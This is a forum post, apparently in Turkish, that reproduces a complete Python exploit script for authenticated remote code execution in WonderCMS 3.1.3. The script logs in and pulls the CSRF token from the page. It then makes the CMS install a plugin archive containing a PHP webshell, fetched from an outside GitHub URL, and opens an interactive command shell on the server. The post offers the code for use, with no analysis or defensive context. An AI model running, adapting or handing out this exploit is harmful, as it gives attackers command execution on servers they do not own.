Hoşgeldin Misafir

WonderCMS 3.1.3 - Authenticated Remote Code Execution Exploit

Asım Gürsoy

mersin
27 Mar 2020
8,833 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
WonderCMS 3.1.3 - Authenticated Remote Code Execution Exploit--


Kod:
# Exploit Title: WonderCMS 3.1.3 - Authenticated Remote Code Execution
# Exploit Author: zetc0de
# Vendor Homepage: https://www.wondercms.com/
# Software Link: https://github.com/robiso/wondercms/releases/download/3.1.3/WonderCMS-3.1.3.zip
# Version: 3.1.3
# Tested on: Ubuntu 16.04
# CVE : N/A
 
 
# WonderCMS is vulnerable to Authenticated Remote Code Execution.
# In order to exploit the vulnerability, an attacker must have a valid authenticated session on the CMS.
# Using the theme/plugin installer attacker can install crafted plugin that contain a webshell and get RCE.
 
# python3 exploit.py http://wonder.com/loginURL GpIyq0RH 
# -------------
# [+] Getting Token
# [+] Sending Payload
# [+] Get the shell
# [+] Enjoy!
# $id
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
import requests
import sys
import re
from bs4 import BeautifulSoup
from termcolor import colored
 
 
print(colored('''
 
\ \      /_ \  \ | _ \ __| _ \  __|  \  |  __| 
 \ \ \  /(   |.  | |  |_|    / (    |\/ |\__ \ 
  \_/\_/\___/_|\_|___/___|_|_\\___|_|  _|____/ 
                                                
------[ Auth Remote Code Execution ]------
        ''',"blue"))
 
if len(sys.argv) != 3:
    print(colored("[-] Usage : ./wonder.py loginURL password","red"))
    exit()
 
loginURL = sys.argv[1]
password = sys.argv[2]
 
r = requests.session()
data = { "password" : password }
page = r.post(loginURL,data)
if "Wrong" in page.text:
        print(colored("[!] Exploit Failed : Wrong Credential","red"))
        exit()
 
print(colored("[+] Getting Token","blue"))
soup = BeautifulSoup(page.text, "html.parser")
 
allscript  = soup.find_all("script")
no = 0
for i in allscript:
        if "rootURL" in str(i):
                url = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ")
        elif "token" in str(i):
                token = i.string.split("=")[1].replace('"','').strip(";").lstrip(" ")
 
payload = "https://github.com/zetc0de/wonderplugin/archive/master.zip"
 
def sendPayload(req,url,payload,token):
        getShell = url + "?installThemePlugin=" + payload + "&type=plugins&token=" + token
        req.get(getShell)
        shell = url + "plugins/wonderplugin/evil.php"
        checkshell = req.get(shell)
        if "1337" in checkshell.text:
                return True
        else:
                return False
 
print(colored("[+] Sending Payload","blue"))
shell = sendPayload(r,url,payload,token)
 
 
if shell == True:
        print(colored("[+] Get the shell","blue"))
        print(colored("[+] Enjoy!","blue"))
        shell = url + "plugins/wonderplugin/evil.php"
        while True:
                cmd = input("$")
                data = { "cmd" : cmd }
 
                res = r.post(shell,data)
                if res.status_code == 200:
                        print(res.text)
elif shell == False:
        print(colored("[+] Get the shell","blue"))
        print(colored("[+] Enjoy!","blue"))
        shell = url + "plugins/wonderplugin-master/evil.php"
        while True:
                cmd = input("$")
                data = { "cmd" : cmd }
                res = r.post(shell,data)
                if res.status_code == 200:
                        print(res.text)
else:
        print(colored("[!] Failed to exploit","red"))
 
#  0day.today [2020-12-03]  #